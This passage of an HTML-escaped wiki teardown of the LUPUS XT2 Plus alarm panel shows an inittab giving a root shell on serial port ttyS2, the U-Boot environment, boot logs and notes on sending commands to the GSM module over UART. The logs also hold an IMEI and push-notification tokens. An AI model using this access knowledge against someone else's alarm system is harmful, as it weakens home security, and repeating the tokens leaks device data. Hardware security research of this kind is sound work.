#::respawn:/sbin/getty -L ttyS2 38400 vt100&lt;br /&gt;
#::respawn:/bin/sh &amp;lt; /dev/ttyS0 2&amp;gt;&amp;amp;1 &amp;gt; /dev/ttyS0&lt;br /&gt;
#Climax NET6 usage&lt;br /&gt;
::respawn:/bin/sh &amp;lt; /dev/ttyS2 2&amp;gt;&amp;amp;1 &amp;gt; /dev/ttyS2&lt;br /&gt;
#::respawn:/bin/sh&lt;br /&gt;
# stuff to do before rebooting&lt;br /&gt;
::ctrlaltdel:/etc/init.d/reboot&lt;br /&gt;
::shutdown:/bin/umount -a -r&lt;br /&gt;
::shutdown:/sbin/swapoff -a&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h4&amp;gt;Bootloader&amp;lt;/h4&amp;gt;&lt;br /&gt;
&amp;lt;p style=&amp;quot;text-align: justify&amp;quot;&amp;gt;Since there are no available pins on the MC which accept input via UART, the use of U-Boot can be confirmed by the boot log, but there has no possibility to access it via UART be found.&amp;lt;/p&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible mw-collapsed&amp;quot; style=&amp;quot;border-color: #eaecf0; background-color: white; calc(100% - 12px); overflow:auto;&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;line-height:1.6;&amp;quot;&amp;gt;&amp;amp;#9432; &amp;lt;b&amp;gt;LUPUS XT2 Plus&amp;lt;/b&amp;gt;: U-Boot default environment&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;font-size: 12px !important&amp;quot;&amp;gt;&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&lt;br /&gt;
[root@HPGW-NET6]# cat /proc/cmdline&lt;br /&gt;
mem=64M console=uart,shift,2,io,0xF9850000,115200 quiet&lt;br /&gt;
&lt;br /&gt;
[root@HPGW-NET6]# fw_printenv&lt;br /&gt;
Warning: Bad CRC, using default environment&lt;br /&gt;
bootargs=&lt;br /&gt;
bootcmd=sf probe 0:0;sf read 0x4000000 0xd6100 0x800000;go 0x4000000&lt;br /&gt;
bootdelay=1&lt;br /&gt;
baudrate=115200&lt;br /&gt;
ethaddr=00:42:70:00:30:22&lt;br /&gt;
ipaddr=10.0.1.52&lt;br /&gt;
serverip=10.0.1.51&lt;br /&gt;
gatewayip=10.0.1.51&lt;br /&gt;
netmask=255.0.0.0&lt;br /&gt;
&lt;br /&gt;
[root@HPGW-NET6]# cat /proc/mtd&lt;br /&gt;
dev:    size   erasesize  name&lt;br /&gt;
mtd0: 007f0000 00010000 &amp;quot;Linux Section&amp;quot;&lt;br /&gt;
mtd1: 00720000 00010000 &amp;quot;User Section&amp;quot;&lt;br /&gt;
mtd2: ffff6000 00010000 &amp;quot;Loader Section&amp;quot;&lt;br /&gt;
mtd3: 0009a000 00010000 &amp;quot;BurnIn Section&amp;quot;&lt;br /&gt;
mtd4: 00020000 00010000 &amp;quot;UBoot Section&amp;quot;&lt;br /&gt;
mtd5: 00020000 00010000 &amp;quot;CFG Section&amp;quot;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h4&amp;gt;Bootlog&amp;lt;/h4&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible mw-collapsed&amp;quot; style=&amp;quot;border-color: #eaecf0; background-color: white; calc(100% - 12px); overflow:auto;&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;line-height:1.6;&amp;quot;&amp;gt;&amp;amp;#9432; &amp;lt;b&amp;gt;LUPUS XT2 Plus&amp;lt;/b&amp;gt;: Smart Home Alarm Panel&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;font-size: 12px !important&amp;quot;&amp;gt;&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&lt;br /&gt;
MP SPI-NOR Bootstrap v0.2&lt;br /&gt;
Boot image offset: 0x6000. Booting Image .....&lt;br /&gt;
&lt;br /&gt;
Will set the following freq...&lt;br /&gt;
PLL1: 400 MHz, PLL2: 270 MHz, CPU freq: 270 MHz, AHB freq: 135 MHz, DDR freq: 400 MHz&lt;br /&gt;
go...&lt;br /&gt;
&lt;br /&gt;
*********************************************&lt;br /&gt;
Please input Space to run Linux&lt;br /&gt;
Please input ESC to run UBOOT&lt;br /&gt;
Please input . to run burn-in&lt;br /&gt;
Otherwise, system will run Linux after 0 sec&lt;br /&gt;
*********************************************&lt;br /&gt;
Load image from SPI-NOR offset 0xe0000 to sdram 0x2800000&lt;br /&gt;
Jump 0x2800000&lt;br /&gt;
Uncompressing Linux.............................................................................................................................................................................................................. done, booting the kernel.&lt;br /&gt;
Linux version 2.6.28 (engin@engin-desktop) (gcc version 4.4.0 (Faraday C/C++ Compiler Release 20100325) ) #2442 PREEMPT Tue Feb 13 15:30:10 CST 2018&lt;br /&gt;
CPU: FA626TE [66056261] revision 1 (ARMv5TE), cr=0000797f&lt;br /&gt;
CPU: VIPT aliasing data cache, VIPT aliasing instruction cache&lt;br /&gt;
Machine: Faraday GM8126&lt;br /&gt;
Warning: bad configuration page, trying to continue&lt;br /&gt;
Memory policy: ECC disabled, Data cache writeback&lt;br /&gt;
Built 1 zonelists in Zone order, mobility grouping on.  Total pages: 16256&lt;br /&gt;
Kernel command line: mem=64M console=uart,shift,2,io,0xF9850000,115200 quiet&lt;br /&gt;
Early serial console at I/O port 0xf9850000 (options &#039;115200&#039;, shift 2)&lt;br /&gt;
console [uart0] enabled&lt;br /&gt;
fotg210 fotg210: init fotg210 fail, -16&lt;br /&gt;
starting pid 169, tty &#039;/dev/ttyS2&#039;: &#039;/etc/init.d/rc.sysinit&#039;&lt;br /&gt;
Mounting root fs rw ...&lt;br /&gt;
Mounting other filesystems ...&lt;br /&gt;
Setting hostname ...&lt;br /&gt;
Mounting user&#039;s MTD partion&lt;br /&gt;
Has JFFS2 on mtdblock1&lt;br /&gt;
GM devmem set&lt;br /&gt;
Setup networking&lt;br /&gt;
Setup PWM driver&lt;br /&gt;
Setup ADC driver&lt;br /&gt;
Setup SAR module&lt;br /&gt;
Setup RTC driver&lt;br /&gt;
Setup WDT driver&lt;br /&gt;
Setup climax driver&lt;br /&gt;
[NOTE][MISC]Logger started...&lt;br /&gt;
[NOTE][MISC]Logger started...&lt;br /&gt;
[INFO][MISC]Initialized log&lt;br /&gt;
[INFO][MISC]Initialized&lt;br /&gt;
[INFO][ACTN]Initialized&lt;br /&gt;
[INFO][DEV ]Panel RF device ID:&#039;RF:0585a7f0&#039;&lt;br /&gt;
[INFO][DEV ]36 template(s) loaded&lt;br /&gt;
[INFO][DEV ]device_type_resp: 26 item(s) loaded&lt;br /&gt;
[INFO][DEV ]device_type_latch: 6 item(s) loaded&lt;br /&gt;
[INFO][DEV ]device_type_panic: 6 item(s) loaded&lt;br /&gt;
[INFO][DEV ]device_type_fire: 4 item(s) loaded&lt;br /&gt;
[INFO][DEV ]device_type_medical: 4 item(s) loaded&lt;br /&gt;
[INFO][DEV ]device_type_emergency: 9 item(s) loaded&lt;br /&gt;
[INFO][DEV ]device_type_btn_mode: 2 item(s) loaded&lt;br /&gt;
[INFO][DEV ]device_type_set_unset: 2 item(s) loaded&lt;br /&gt;
[INFO][DEV ]device_type_whole_area: 7 item(s) loaded&lt;br /&gt;
[INFO][DEV ]device_type_always_on: 2 item(s) loaded&lt;br /&gt;
[INFO][DEV ]device_type_switch: 2 item(s) loaded&lt;br /&gt;
[INFO][DEV ]device_type_btn_macro: 2 item(s) loaded&lt;br /&gt;
[INFO][DEV ]device_type_siren_vol: 2 item(s) loaded&lt;br /&gt;
[INFO][DEV ]device_type_bxsr_param: 1 item(s) loaded&lt;br /&gt;
[INFO][DEV ]device_type_binding: 1 item(s) loaded&lt;br /&gt;
[INFO][DEV ]15 device(s) loaded&lt;br /&gt;
[INFO][DEV ]0 learn rule(s) loaded&lt;br /&gt;
[INFO][DEV ]0 device(s)&#039;s schedule loaded&lt;br /&gt;
[INFO][DEV ]0 device(s)&#039;s UPIC name loaded&lt;br /&gt;
[INFO][DEV ]8 group(s) loaded&lt;br /&gt;
[ERR!][MISC]open sig file fail: &#039;config/history.json&#039;&lt;br /&gt;
[ERR!][DEV ]Fail open for reading&lt;br /&gt;
[INFO][DEV ]0 week schd loaded&lt;br /&gt;
[INFO][MISC]5 note(s) loaded&lt;br /&gt;
[INFO][MISC]5 consumer(s) loaded&lt;br /&gt;
i2c-adapter i2c-0: NAK!&lt;br /&gt;
[INFO][MISC]889 string(s) loaded&lt;br /&gt;
i2c-adapter i2c-0: I2C TX data 0x0 timeout!&lt;br /&gt;
i2c-adapter i2c-0: NAK!&lt;br /&gt;
[WARN][MISC]I2C write fail&lt;br /&gt;
i2c-adapter i2c-0: I2C RX timeout!&lt;br /&gt;
[WARN][MISC]I2C read fail&lt;br /&gt;
[INFO][MISC]I2C CFG=0&lt;br /&gt;
[INFO][MISC]Initialized&lt;br /&gt;
[INFO][MISC]Initialized&lt;br /&gt;
[INFO][MISC]Initialized&lt;br /&gt;
[INFO][WEB ]web session initialized&lt;br /&gt;
[INFO][WEB ]50 token loaded&lt;br /&gt;
[INFO][WEB ]Initialized&lt;br /&gt;
[INFO][XCMD]Initialized&lt;br /&gt;
[INFO][SCMD]Initialized&lt;br /&gt;
[NOTE][WEB ]Mongoose 3.1 on port 80,443s&lt;br /&gt;
[INFO][NET ]Initialized SSL&lt;br /&gt;
[INFO][WORK]Initialized&lt;br /&gt;
[INFO][BEEP]Initialized&lt;br /&gt;
[INFO][LED ]Initialized&lt;br /&gt;
[INFO][MISC]Initialized&lt;br /&gt;
[INFO][ZB  ]Initialized&lt;br /&gt;
[INFO][ZBS ]Initialized&lt;br /&gt;
[INFO][GSM ]Initialized&lt;br /&gt;
[INFO][VFA ]Module not exist&lt;br /&gt;
[INFO][ZBS ]auto scan /dev/ttyS0 success&lt;br /&gt;
[INFO][WORK]setup eth0...&lt;br /&gt;
[INFO][ZB  ]N/A for &#039;DoHello&#039;&lt;br /&gt;
[INFO][ZB  ]N/A for &#039;DoJoinDisable&#039;&lt;br /&gt;
[INFO][ZB  ]N/A for &#039;DoCheckVersion&#039;&lt;br /&gt;
[INFO][VFA ]Initialized&lt;br /&gt;
[INFO][RF  ]Initialized&lt;br /&gt;
[INFO][RFEX]no rf ext&lt;br /&gt;
[INFO][RFEX]Initialized&lt;br /&gt;
[INFO][ZWAV]Initialized&lt;br /&gt;
[INFO][DNS ]Initialized&lt;br /&gt;
[INFO][UPNP]Initialized&lt;br /&gt;
[INFO][FIND]Initialized&lt;br /&gt;
[INFO][FRTZ]Initialized&lt;br /&gt;
[ERR!][MISC]file sig fail: &#039;config/fritzbox.json.md5sum&#039;&lt;br /&gt;
[ERR!][FRTZ]Fail open for reading&lt;br /&gt;
[INFO][RPT ]report setting loaded&lt;br /&gt;
[INFO][RPT ]Initialized&lt;br /&gt;
[INFO][ALRM]5 user(s) loaded&lt;br /&gt;
[INFO][ALRM]2 area(s) loaded&lt;br /&gt;
[INFO][ALRM]0 rule(s) loaded&lt;br /&gt;
[INFO][ALRM]HA prop=0&lt;br /&gt;
[ERR!][MISC]file sig fail: &#039;config/ha_profile.json.md5sum&#039;&lt;br /&gt;
[ERR!][ALRM]Fail open for reading&lt;br /&gt;
[INFO][ALRM]0 media(s) loaded&lt;br /&gt;
[INFO][ALRM]151 history(s) loaded&lt;br /&gt;
[INFO][DNS ]Apply config changed&lt;br /&gt;
killall: udhcpc: no process killed&lt;br /&gt;
[INFO][ALRM]1000 report(s) loaded&lt;br /&gt;
[DBG ][ALRM]USBHUB=0&lt;br /&gt;
[DBG ][ALRM]HMGW=0,0&lt;br /&gt;
[INFO][RFEX]N/A for &#039;DoSetJamRSSI&#039;&lt;br /&gt;
[INFO][RFEX]N/A for &#039;DoSetSeedRF&#039;&lt;br /&gt;
[INFO][ALRM]Initialized&lt;br /&gt;
[DBG ][ZBS ]ZDO_ACTIVE_EP_RSP: 0,0,0,0&lt;br /&gt;
[INFO][RFEX]N/A for &#039;DoBeepBX&#039;&lt;br /&gt;
[NOTE][ALRM]Alarm ready&lt;br /&gt;
udhcpc (v1.20.2) started&lt;br /&gt;
Sending discover...&lt;br /&gt;
[DBG ][GSPK][R] &#039;^SYSSTART&#039;&lt;br /&gt;
[DBG ][ZBS ]ZDO_SIMPLE_DESC_RSP: 4,1,1,0&lt;br /&gt;
[DBG ][ZBS ]OTA=4&lt;br /&gt;
[DBG ][ZBS ]ZDO_SIMPLE_DESC_RSP: 4,1,1,0&lt;br /&gt;
[DBG ][ZBS ]ZDO_SIMPLE_DESC_RSP: 4,1,1,0&lt;br /&gt;
[DBG ][ZBS ]OTA=4&lt;br /&gt;
[DBG ][ZBS ]ZDO_SIMPLE_DESC_RSP: 4,1,1,0&lt;br /&gt;
[DBG ][ZBS ]OTA=4&lt;br /&gt;
[INFO][ZB  ]N/A for &#039;DoDebugCommand&#039;&lt;br /&gt;
[DBG ][ALRM]HA regular check time: now=1970/1/1 1:0:5&lt;br /&gt;
[DBG ][ALRM]classify: seq=1, attr=0, act=OnCablePlugEth,&amp;quot;0&amp;quot;&lt;br /&gt;
[DBG ][ZBS ]ZDO_SIMPLE_DESC_RSP: 4,1,1,0&lt;br /&gt;
[DBG ][ZBS ]OTA=4&lt;br /&gt;
[DBG ][ZBS ]ZDO_SIMPLE_DESC_RSP: 4,1,1,0&lt;br /&gt;
[DBG ][ZBS ]OTA=4&lt;br /&gt;
[DBG ][ZBS ]pan=b87d, ch=15&lt;br /&gt;
[DBG ][ZBS ]n=0&lt;br /&gt;
[INFO][FRTZ]Apply config changed&lt;br /&gt;
Sending discover...&lt;br /&gt;
[INFO][RPT ]Apply config changed&lt;br /&gt;
[DBG ][ZBS ]ZDO_SIMPLE_DESC_RSP: 4,1,1,0&lt;br /&gt;
[DBG ][ZBS ]OTA=4&lt;br /&gt;
[DBG ][ZBS ]ZDO_SIMPLE_DESC_RSP: 4,1,1,0&lt;br /&gt;
[DBG ][ZBS ]OTA=4&lt;br /&gt;
[ERR!][RF  ]&#039;DoHello&#039; timeout!&lt;br /&gt;
[INFO][RF  ]&#039;DoHello&#039; retry!&lt;br /&gt;
[DBG ][ZBS ]ZDO_SIMPLE_DESC_RSP: 4,1,1,0&lt;br /&gt;
[DBG ][ZBS ]OTA=4&lt;br /&gt;
[DBG ][ZBS ]ZDO_SIMPLE_DESC_RSP: 4,1,1,0&lt;br /&gt;
[DBG ][ZBS ]OTA=4&lt;br /&gt;
Sending discover...&lt;br /&gt;
[ERR!][RF  ]&#039;DoHello&#039; timeout!&lt;br /&gt;
[INFO][RF  ]&#039;DoHello&#039; retry!&lt;br /&gt;
[ERR!][RF  ]&#039;DoHello&#039; timeout!&lt;br /&gt;
[INFO][RF  ]&#039;DoHello&#039; retry!&lt;br /&gt;
[DBG ][GSPK][W] &#039;ATZ&#039;&lt;br /&gt;
[ERR!][RF  ]&#039;DoHello&#039; timeout!&lt;br /&gt;
[INFO][RF  ]&#039;DoHello&#039; retry!&lt;br /&gt;
[DBG ][GSPK][R] &#039;OK&#039;&lt;br /&gt;
[DBG ][GSPK][W] &#039;ATZ&#039;&lt;br /&gt;
[DBG ][GSPK][R] &#039;OK&#039;&lt;br /&gt;
[DBG ][GSPK][W] &#039;ATI&#039;&lt;br /&gt;
[DBG ][GSPK][R] &#039;Cinterion&#039;&lt;br /&gt;
[DBG ][GSPK][R] &#039;BGS2-W&#039;&lt;br /&gt;
[DBG ][GSPK][R] &#039;REVISION 01.301&#039;&lt;br /&gt;
[DBG ][GSPK][R] &#039;OK&#039;&lt;br /&gt;
[DBG ][GSPK][W] &#039;AT+CMEE=1&#039;&lt;br /&gt;
[DBG ][GSPK][R] &#039;OK&#039;&lt;br /&gt;
[DBG ][GSPK][W] &#039;AT+CREG=0&#039;&lt;br /&gt;
[DBG ][GSPK][R] &#039;OK&#039;&lt;br /&gt;
[DBG ][GSPK][W] &#039;AT+CMER=2,0,0,2&#039;&lt;br /&gt;
[DBG ][GSPK][R] &#039;OK&#039;&lt;br /&gt;
[DBG ][GSPK][W] &#039;AT+CIND=1,1,1,1,1,1,1,1,1&#039;&lt;br /&gt;
[DBG ][GSPK][R] &#039;+CIEV: battchg,5&#039;&lt;br /&gt;
[DBG ][GSPK][R] &#039;+CIEV: signal,99&#039;&lt;br /&gt;
[DBG ][GSPK][R] &#039;+CIEV: service,0&#039;&lt;br /&gt;
[DBG ][GSPK][R] &#039;+CIEV: sounder,0&#039;&lt;br /&gt;
[DBG ][GSPK][R] &#039;+CIEV: message,0&#039;&lt;br /&gt;
[DBG ][GSPK][R] &#039;+CIEV: call,0&#039;&lt;br /&gt;
[DBG ][GSPK][R] &#039;+CIEV: roam,0&#039;&lt;br /&gt;
[DBG ][GSPK][R] &#039;+CIEV: smsfull,0&#039;&lt;br /&gt;
[DBG ][GSPK][R] &#039;+CIEV: rssi,99&#039;&lt;br /&gt;
[DBG ][GSPK][R] &#039;OK&#039;&lt;br /&gt;
[DBG ][GSPK][W] &#039;AT^SIND=&amp;quot;nitz&amp;quot;,1&#039;&lt;br /&gt;
[DBG ][GSPK][R] &#039;^SIND: nitz,1,&amp;quot;&amp;quot;,+00&#039;&lt;br /&gt;
[DBG ][GSPK][R] &#039;OK&#039;&lt;br /&gt;
[DBG ][GSPK][W] &#039;AT^SCKS?&#039;&lt;br /&gt;
[DBG ][GSPK][R] &#039;^SCKS: 0,0&#039;&lt;br /&gt;
[DBG ][GSPK][R] &#039;OK&#039;&lt;br /&gt;
[DBG ][GSPK][W] &#039;AT^SCKS=1&#039;&lt;br /&gt;
[DBG ][GSPK][R] &#039;OK&#039;&lt;br /&gt;
[DBG ][GSPK][W] &#039;AT^SCFG=&amp;quot;Audio/AMR&amp;quot;,&amp;quot;disabled&amp;quot;&#039;&lt;br /&gt;
[DBG ][GSPK][R] &#039;^SCFG: &amp;quot;Audio/AMR&amp;quot;,&amp;quot;disabled&amp;quot;&#039;&lt;br /&gt;
[DBG ][GSPK][R] &#039;OK&#039;&lt;br /&gt;
No lease, forking to background&lt;br /&gt;
[INFO][WORK]setup end&lt;br /&gt;
[INFO][WORK]restart DHCP&lt;br /&gt;
[ERR!][RF  ]&#039;DoHello&#039; timeout!&lt;br /&gt;
[INFO][RF  ]try old RF/51&lt;br /&gt;
[ERR!][RF  ]&#039;DoHello&#039; timeout!&lt;br /&gt;
[INFO][RF  ]&#039;DoHello&#039; retry!&lt;br /&gt;
[INFO][RF  ]type:42&lt;br /&gt;
[INFO][RF  ]module:41&lt;br /&gt;
[INFO][RF  ]rf type:30&lt;br /&gt;
[INFO][RF  ]rf freq:7&lt;br /&gt;
[INFO][RF  ]ver:HPGW-L2-XA35A len:13&lt;br /&gt;
[INFO][ALRM]OnVersion: &#039;RF&#039;&lt;br /&gt;
[INFO][RFEX]N/A for &#039;DoProgramAssociation&#039;&lt;br /&gt;
[INFO][RFEX]N/A for &#039;DoProgramConfig&#039;&lt;br /&gt;
udhcpc (v1.20.2) started&lt;br /&gt;
Sending discover...&lt;br /&gt;
[ERR!][NET ]network select error (Resource temporarily unavailable)&lt;br /&gt;
[DBG ][GSPK][W] &#039;ATI&#039;&lt;br /&gt;
[DBG ][GSPK][R] &#039;Cinterion&#039;&lt;br /&gt;
[DBG ][GSPK][R] &#039;BGS2-W&#039;&lt;br /&gt;
[DBG ][GSPK][R] &#039;REVISION 01.301&#039;&lt;br /&gt;
[DBG ][GSPK][R] &#039;OK&#039;&lt;br /&gt;
[DBG ][GSPK][W] &#039;AT+CGSN&#039;&lt;br /&gt;
[DBG ][GSPK][R] &#039;356449063567159&#039;&lt;br /&gt;
[DBG ][GSPK][R] &#039;OK&#039;&lt;br /&gt;
[DBG ][GSPK][W] &#039;AT+CSQ&#039;&lt;br /&gt;
[DBG ][GSPK][R] &#039;+CSQ: 99,99&#039;&lt;br /&gt;
[DBG ][GSPK][R] &#039;OK&#039;&lt;br /&gt;
[DBG ][GSPK][W] &#039;AT+CREG?&#039;&lt;br /&gt;
[DBG ][GSPK][R] &#039;+CREG: 0,2&#039;&lt;br /&gt;
[DBG ][GSPK][R] &#039;OK&#039;&lt;br /&gt;
Sending discover...&lt;br /&gt;
Sending discover...&lt;br /&gt;
No lease, forking to background&lt;br /&gt;
[INFO][WORK]setup wifi...&lt;br /&gt;
[DBG ][ALRM]classify: seq=47, attr=0, act=OnConnectWLAN,&amp;quot;0&amp;quot;,&amp;quot;init&amp;quot;&lt;br /&gt;
killall: wpa_supplicant: no process killed&lt;br /&gt;
ifconfig: ioctl 0x8913 failed: No such device&lt;br /&gt;
[INFO][WORK]setup end&lt;br /&gt;
[DBG ][GSPK][W] &#039;AT+CREG?&#039;&lt;br /&gt;
[DBG ][GSPK][R] &#039;+CREG: 0,2&#039;&lt;br /&gt;
[DBG ][GSPK][R] &#039;OK&#039;&lt;br /&gt;
[DBG ][ALRM]HA regular check time: now=1970/1/1 1:1:0&lt;br /&gt;
[DBG ][GSPK][R] &#039;test&#039;&lt;br /&gt;
[WARN][GSM ]expect an unsolicited: &#039;test&#039;&lt;br /&gt;
[DBG ][GSPK][W] &#039;AT+CSQ&#039;&lt;br /&gt;
[DBG ][GSPK][R] &#039;+CSQ: 99,99&#039;&lt;br /&gt;
[DBG ][GSPK][R] &#039;OK&#039;&lt;br /&gt;
[DBG ][GSPK][W] &#039;AT+CREG?&#039;&lt;br /&gt;
[DBG ][GSPK][R] &#039;+CREG: 0,2&#039;&lt;br /&gt;
[DBG ][GSPK][R] &#039;OK&#039;&lt;br /&gt;
[DBG ][GSPK][R] &#039;This is a message entered via UART, send to the GSM module&#039;&lt;br /&gt;
[WARN][GSM ]expect an unsolicited: &#039;This is a message entered via UART, send to the GSM module&#039;&lt;br /&gt;
&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h3&amp;gt;GSM&amp;lt;/h3&amp;gt;&lt;br /&gt;
&amp;lt;span style=&amp;quot;font-size: 50px; line-height: 30px; padding-left: 10px&amp;quot;&amp;gt;⚒&amp;lt;/span&amp;gt;&lt;br /&gt;
&amp;lt;p style=&amp;quot;text-align: justify&amp;quot;&amp;gt;The LUPUS XT2 Plus is equipped with a &amp;quot;CINERON BGS2-W&amp;quot; 2G Wireless Module. This GSM 850/900/1800/1900 GPRS module has the unique FCC ID [[https://fccid.io/QIPBGS2|QIPBGS2]].  The board also provides a designated interface for accessing the GSM module.  However, this interface is not clearly marked. This is the second white 3-pin connector which is located in the lower right corner, or just above the GSM module on the right. By means of UART commands can be injected into the module. As you can see on the [[#Bootlog]], the output of the GSM module is displayed there together with the output of the [[#MCU]]. But the input is only done via the connector just mentioned. Just google &amp;quot;BGS2-W AT Command Set&amp;quot; for instructions and explanations.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible mw-collapsed&amp;quot; style=&amp;quot;border-color: #eaecf0; background-color: white; calc(100% - 12px); overflow:auto;&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;line-height:1.6;&amp;quot;&amp;gt;&amp;amp;#9432; &amp;lt;b&amp;gt;LUPUS XT2 Plus&amp;lt;/b&amp;gt;: Example Output&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;font-size: 12px !important&amp;quot;&amp;gt;&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&lt;br /&gt;
[DBG ][ALRM]HA regular check time: now=1970/1/1 1:10:0&lt;br /&gt;
[DBG ][GSPK][W] &#039;AT+CSQ&#039;&lt;br /&gt;
[DBG ][GSPK][R] &#039;+CSQ: 99,99&#039;&lt;br /&gt;
[DBG ][GSPK][R] &#039;OK&#039;&lt;br /&gt;
[DBG ][GSPK][W] &#039;AT+CREG?&#039;&lt;br /&gt;
[DBG ][GSPK][R] &#039;+CREG: 0,2&#039;&lt;br /&gt;
[DBG ][GSPK][R] &#039;OK&#039;&lt;br /&gt;
[DBG ][GSPK][W] &#039;AT+CREG?&#039;&lt;br /&gt;
[DBG ][GSPK][R] &#039;+CREG: 0,2&#039;&lt;br /&gt;
[DBG ][GSPK][R] &#039;OK&#039;&lt;br /&gt;
[DBG ][ALRM]HA regular check time: now=1970/1/1 1:11:0&lt;br /&gt;
[DBG ][GSPK][W] &#039;AT+CSQ&#039;&lt;br /&gt;
[DBG ][GSPK][R] &#039;+CSQ: 99,99&#039;&lt;br /&gt;
[DBG ][GSPK][R] &#039;OK&#039;&lt;br /&gt;
[Disconnected]&lt;br /&gt;
[Connected]&lt;br /&gt;
[ERR!][DNS ]&#039;DoLookupHost&#039; timeout!&lt;br /&gt;
[DBG ][ALRM]classify: seq=149, attr=1, act=DoSwitchNetInterface,&amp;quot;-1&amp;quot;&lt;br /&gt;
[DBG ][ALRM]Switch net if -1, ret=-3&lt;br /&gt;
[ERR!][DNS ]&#039;DoLookupHost&#039; timeout!&lt;br /&gt;
[DBG ][ALRM]classify: seq=151, attr=1, act=DoSwitchNetInterface,&amp;quot;-1&amp;quot;&lt;br /&gt;
[DBG ][ALRM]Switch net if -1, ret=-3&lt;br /&gt;
[ERR!][DNS ]&#039;DoLookupHost&#039; timeout!&lt;br /&gt;
[DBG ][ALRM]classify: seq=153, attr=1, act=DoSwitchNetInterface,&amp;quot;-1&amp;quot;&lt;br /&gt;
[DBG ][ALRM]Switch net if -1, ret=-3&lt;br /&gt;
[INFO][NET ]max retry&lt;br /&gt;
[ERR!][NET ]http ssl send connect fail&lt;br /&gt;
[ERR!][WNET]GCM: ret=-99&lt;br /&gt;
[INFO][RPT ]url=&#039;gcm://0@APA91bGDleDckmX774Lr87-bPuoVu-jJerUQ1HPDCqU0DZj71gL3OZwJzI_YgOV3CP6vb_A99KLdjV_885mN6y4CW7qzijZyo8BBo4HRq4twW7yGj7LNATFRtriYq3-QcMbArxhWUDTZ/TEXT&#039;, ret=-702, reason=&#039;{LOG_MS&lt;br /&gt;
[INFO][RPT ]reporting end&lt;br /&gt;
[INFO][ALRM]report ok: id=6524&lt;br /&gt;
[DBG ][ALRM]common: seq=155, attr=0, act=OnTriggerRestore,&amp;quot;RF:04090810&amp;quot;,&amp;quot;9&amp;quot;,&amp;quot;4&amp;quot;,&amp;quot;1&amp;quot;,&amp;quot;0409081e1e02&amp;quot;&lt;br /&gt;
[DBG ][ALRM]singlearea: seq=155, attr=0, act=OnTriggerRestore,&amp;quot;RF:04090810&amp;quot;,&amp;quot;9&amp;quot;,&amp;quot;4&amp;quot;,&amp;quot;1&amp;quot;,&amp;quot;0409081e1e02&amp;quot;&lt;br /&gt;
[DBG ][ALRM]common: seq=157, attr=0, act=OnTamper,&amp;quot;RF:04090810&amp;quot;,&amp;quot;9&amp;quot;,&amp;quot;4&amp;quot;,&amp;quot;1&amp;quot;,&amp;quot;0409081e1e02&amp;quot;&lt;br /&gt;
[DBG ][ALRM]singlearea: seq=157, attr=0, act=OnTamper,&amp;quot;RF:04090810&amp;quot;,&amp;quot;9&amp;quot;,&amp;quot;4&amp;quot;,&amp;quot;1&amp;quot;,&amp;quot;0409081e1e02&amp;quot;&lt;br /&gt;
[INFO][RPT ]reporting start&lt;br /&gt;
[INFO][ALRM]remove report: 5525&lt;br /&gt;
[DBG ][GSPK][W] &#039;AT+CREG?&#039;&lt;br /&gt;
[DBG ][GSPK][R] &#039;+CREG: 0,2&#039;&lt;br /&gt;
[DBG ][GSPK][R] &#039;OK&#039;&lt;br /&gt;
[DBG ][RPT ]retry #0&lt;br /&gt;
[INFO][RPT ]scheme:apns:// host:9420d57ba5cdac9ec8a9c95714ad5d5b26eedd5147beb12f78d1f47c0d5b9e03 port:80 acct:0&lt;br /&gt;
[ERR!][DNS ]&#039;DoLookupHost&#039; timeout!&lt;br /&gt;
[DBG ][ALRM]classify: seq=161, attr=1, act=DoSwitchNetInterface,&amp;quot;-1&amp;quot;&lt;br /&gt;
[DBG ][ALRM]Switch net if -1, ret=-3&lt;br /&gt;
[ERR!][DNS ]&#039;DoLookupHost&#039; timeout!&lt;br /&gt;
[DBG ][ALRM]classify: seq=163, attr=1, act=DoSwitchNetInterface,&amp;quot;-1&amp;quot;&lt;br /&gt;
[DBG ][ALRM]Switch net if -1, ret=-3&lt;br /&gt;
[ERR!][DNS ]&#039;DoLookupHost&#039; timeout!&lt;br /&gt;
[DBG ][ALRM]classify: seq=165, attr=1, act=DoSwitchNetInterface,&amp;quot;-1&amp;quot;&lt;br /&gt;
[DBG ][ALRM]Switch net if -1, ret=-3&lt;br /&gt;
[DBG ][ALRM]HA regular check time: now=1970/1/1 1:15:0&lt;br /&gt;
[ERR!][DNS ]&#039;DoLookupHost&#039; timeout!&lt;br /&gt;
[DBG ][ALRM]classify: seq=167, attr=1, act=DoSwitchNetInterface,&amp;quot;-1&amp;quot;&lt;br /&gt;
